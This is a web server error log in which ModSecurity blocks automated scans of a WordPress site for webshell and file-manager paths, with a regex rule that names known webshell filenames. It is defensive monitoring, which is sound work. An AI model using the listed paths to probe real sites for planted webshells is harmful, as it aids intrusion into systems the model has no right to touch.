[Thu Apr 23 23:43:11.372464 2026] [:error] [pid 64998:tid 65025] [client 173.239.218.62:33401] [client 173.239.218.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aeo-D4V5EysYcTLjmwjBrAAAAdc"]
[Thu Apr 23 23:43:12.178503 2026] [:error] [pid 25635:tid 25650] [client 173.239.218.33:63851] [client 173.239.218.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aeo-EMRxv6UsgRGKB3JAaQAAAQs"]
[Thu Apr 23 23:43:13.492538 2026] [:error] [pid 42972:tid 43022] [client 173.239.218.53:31941] [client 173.239.218.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aeo-EcOAb-3sOknsk4dvpwAAAEY"]
[Thu Apr 23 23:43:13.852888 2026] [:error] [pid 65000:tid 65053] [client 74.234.74.247:3853] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeo-Eb6vRb9j6psK2Zbk4gAAAhQ"]
[Thu Apr 23 23:43:14.407000 2026] [:error] [pid 65000:tid 65045] [client 74.234.74.247:9344] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeo-Er6vRb9j6psK2Zbk8QAAAgw"]
[Thu Apr 23 23:43:14.937493 2026] [:error] [pid 42973:tid 43052] [client 74.234.74.247:3936] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeo-Em6I0QqmmmLTHE1EngAAAIk"]
[Thu Apr 23 23:43:15.488841 2026] [:error] [pid 64998:tid 65021] [client 74.234.74.247:3800] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aeo-E4V5EysYcTLjmwjBwwAAAdM"]
[Thu Apr 23 23:43:16.043264 2026] [:error] [pid 42972:tid 43034] [client 74.234.74.247:3981] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeo-FMOAb-3sOknsk4dvvgAAAFI"]
[Thu Apr 23 23:43:16.562729 2026] [:error] [pid 42972:tid 43027] [client 74.234.74.247:9395] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeo-FMOAb-3sOknsk4dvxQAAAEs"]
[Thu Apr 23 23:43:17.074570 2026] [:error] [pid 64998:tid 65008] [client 74.234.74.247:3805] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeo-FYV5EysYcTLjmwjBzAAAAcY"]
[Thu Apr 23 23:43:17.632025 2026] [:error] [pid 42973:tid 43065] [client 74.234.74.247:3946] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/admin.php"] [unique_id "aeo-FW6I0QqmmmLTHE1EtwAAAJY"]
[Thu Apr 23 23:43:18.189878 2026] [:error] [pid 65000:tid 65050] [client 74.234.74.247:9438] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeo-Fr6vRb9j6psK2ZblPgAAAhE"]
[Thu Apr 23 23:43:18.762049 2026] [:error] [pid 65000:tid 65048] [client 74.234.74.247:4035] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeo-Fr6vRb9j6psK2ZblSAAAAg8"]
[Thu Apr 23 23:43:19.423024 2026] [:error] [pid 42972:tid 43035] [client 74.234.74.247:4082] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeo-F8OAb-3sOknsk4dv6QAAAFM"]
[Thu Apr 23 23:43:20.056317 2026] [:error] [pid 42973:tid 43064] [client 74.234.74.247:4026] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeo-GG6I0QqmmmLTHE1ExgAAAJU"]
[Thu Apr 23 23:43:20.604975 2026] [:error] [pid 42973:tid 43065] [client 74.234.74.247:4016] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeo-GG6I0QqmmmLTHE1EzAAAAJY"]
[Thu Apr 23 23:43:22.161267 2026] [:error] [pid 46953:tid 46962] [client 74.234.74.247:3815] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeo-GknlpdHh-P6wKbpTdAAAAkY"]
[Thu Apr 23 23:43:22.687048 2026] [:error] [pid 65000:tid 65047] [client 74.234.74.247:9406] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeo-Gr6vRb9j6psK2ZblVwAAAg4"]
[Thu Apr 23 23:43:23.228953 2026] [:error] [pid 64998:tid 65008] [client 74.234.74.247:3880] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeo-G4V5EysYcTLjmwjCOAAAAcY"]
[Thu Apr 23 23:43:23.827471 2026] [:error] [pid 65000:tid 65030] [client 74.234.74.247:3921] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aeo-G76vRb9j6psK2ZblagAAAgE"]
[Thu Apr 23 23:43:24.430435 2026] [:error] [pid 65000:tid 65047] [client 74.234.74.247:3997] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aeo-HL6vRb9j6psK2ZbldQAAAg4"]
[Thu Apr 23 23:43:24.994699 2026] [:error] [pid 65000:tid 65045] [client 74.234.74.247:9441] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aeo-HL6vRb9j6psK2ZblggAAAgw"]
[Thu Apr 23 23:43:25.537382 2026] [:error] [pid 65000:tid 65048] [client 74.234.74.247:3982] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aeo-Hb6vRb9j6psK2ZbljAAAAg8"]
[Thu Apr 23 23:43:27.202873 2026] [:error] [pid 42972:tid 43032] [client 74.234.74.247:9454] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeo-H8OAb-3sOknsk4dv_gAAAFA"]
[Thu Apr 23 23:43:27.783332 2026] [:error] [pid 42972:tid 43039] [client 74.234.74.247:3867] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeo-H8OAb-3sOknsk4dwBgAAAFc"]
[Thu Apr 23 23:43:28.302956 2026] [:error] [pid 65000:tid 65046] [client 74.234.74.247:3851] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeo-IL6vRb9j6psK2ZbluQAAAg0"]
[Thu Apr 23 23:43:28.820553 2026] [:error] [pid 42972:tid 43029] [client 74.234.74.247:4029] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeo-IMOAb-3sOknsk4dwDwAAAE0"]
[Thu Apr 23 23:43:29.323836 2026] [:error] [pid 43083:tid 43094] [client 74.234.74.247:3943] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aeo-ITC5hrvNXosL83KOZgAAAMk"]
[Thu Apr 23 23:43:29.870290 2026] [:error] [pid 65000:tid 65046] [client 74.234.74.247:4084] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aeo-Ib6vRb9j6psK2ZblwwAAAg0"]
[Thu Apr 23 23:43:30.416615 2026] [:error] [pid 46953:tid 46972] [client 74.234.74.247:3995] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aeo-IknlpdHh-P6wKbpTfgAAAlA"]
[Thu Apr 23 23:43:30.943435 2026] [:error] [pid 64998:tid 65014] [client 74.234.74.247:4046] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aeo-IoV5EysYcTLjmwjCwAAAAcw"]
[Thu Apr 23 23:43:31.517165 2026] [:error] [pid 64998:tid 65007] [client 74.234.74.247:3846] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeo-I4V5EysYcTLjmwjCzgAAAcU"]
[Thu Apr 23 23:43:32.067499 2026] [:error] [pid 42972:tid 43019] [client 74.234.74.247:3912] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeo-JMOAb-3sOknsk4dwKgAAAEM"]
[Thu Apr 23 23:43:32.686250 2026] [:error] [pid 64998:tid 65024] [client 74.234.74.247:3952] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeo-JIV5EysYcTLjmwjC7AAAAdY"]
[Thu Apr 23 23:43:33.247393 2026] [:error] [pid 65000:tid 65056] [client 74.234.74.247:3988] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeo-Jb6vRb9j6psK2Zbl_wAAAhc"]
[Thu Apr 23 23:43:34.677376 2026] [:error] [pid 65000:tid 65048] [client 74.234.74.247:3920] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aeo-Jr6vRb9j6psK2ZbmHQAAAg8"]
[Thu Apr 23 23:43:35.327874 2026] [:error] [pid 42973:tid 43064] [client 74.234.74.247:3966] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aeo-J26I0QqmmmLTHE1FZgAAAJU"]
[Thu Apr 23 23:43:36.017837 2026] [:error] [pid 43083:tid 43091] [client 74.234.74.247:9387] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aeo-KDC5hrvNXosL83KOZwAAAMY"]
[Thu Apr 23 23:43:36.595040 2026] [:error] [pid 65000:tid 65032] [client 74.234.74.247:3964] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aeo-KL6vRb9j6psK2ZbmQwAAAgM"]
[Thu Apr 23 23:43:37.165402 2026] [:error] [pid 64998:tid 65009] [client 74.234.74.247:3872] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeo-KYV5EysYcTLjmwjDPwAAAcc"]
[Thu Apr 23 23:43:37.715461 2026] [:error] [pid 42972:tid 43021] [client 74.234.74.247:3893] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeo-KcOAb-3sOknsk4dwXQAAAEU"]
[Thu Apr 23 23:43:38.301928 2026] [:error] [pid 65000:tid 65049] [client 74.234.74.247:3935] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeo-Kr6vRb9j6psK2ZbmWgAAAhA"]
[Thu Apr 23 23:43:38.845442 2026] [:error] [pid 43083:tid 43092] [client 74.234.74.247:3917] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeo-KjC5hrvNXosL83KOagAAAMc"]
[Thu Apr 23 23:43:39.434677 2026] [:error] [pid 42972:tid 43021] [client 74.234.74.247:3884] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aeo-K8OAb-3sOknsk4dwdQAAAEU"]
[Thu Apr 23 23:43:39.730287 2026] [autoindex:error] [pid 65000:tid 65047] [client 173.239.218.31:45959] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Apr 23 23:43:39.986876 2026] [:error] [pid 42972:tid 43026] [client 74.234.74.247:3902] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aeo-K8OAb-3sOknsk4dwfwAAAEo"]
[Thu Apr 23 23:43:40.513660 2026] [:error] [pid 65000:tid 65057] [client 74.234.74.247:3788] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aeo-LL6vRb9j6psK2ZbmfgAAAhg"]
[Thu Apr 23 23:43:50.018788 2026] [:error] [pid 64998:tid 65020] [client 74.234.74.247:3861] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aeo-NoV5EysYcTLjmwjEGAAAAdI"]
[Thu Apr 23 23:43:50.627653 2026] [:error] [pid 46953:tid 46967] [client 74.234.74.247:3947] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aeo-NknlpdHh-P6wKbpTowAAAks"]
[Thu Apr 23 23:43:51.207603 2026] [:error] [pid 64998:tid 65008] [client 74.234.74.247:3949] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aeo-N4V5EysYcTLjmwjEIwAAAcY"]
[Thu Apr 23 23:43:51.755695 2026] [:error] [pid 64998:tid 65020] [client 74.234.74.247:3808] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aeo-N4V5EysYcTLjmwjEKQAAAdI"]
[Thu Apr 23 23:43:52.312065 2026] [:error] [pid 42971:tid 42990] [client 74.234.74.247:4014] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aeo-ODEP2_5RswrH8bE7EwAAAAQ"]
[Thu Apr 23 23:43:52.859077 2026] [:error] [pid 42972:tid 43027] [client 74.234.74.247:4025] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aeo-OMOAb-3sOknsk4dxkQAAAEs"]
[Thu Apr 23 23:43:53.380741 2026] [:error] [pid 42971:tid 43010] [client 74.234.74.247:3776] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abcd.php"] [unique_id "aeo-OTEP2_5RswrH8bE7FQAAABg"]
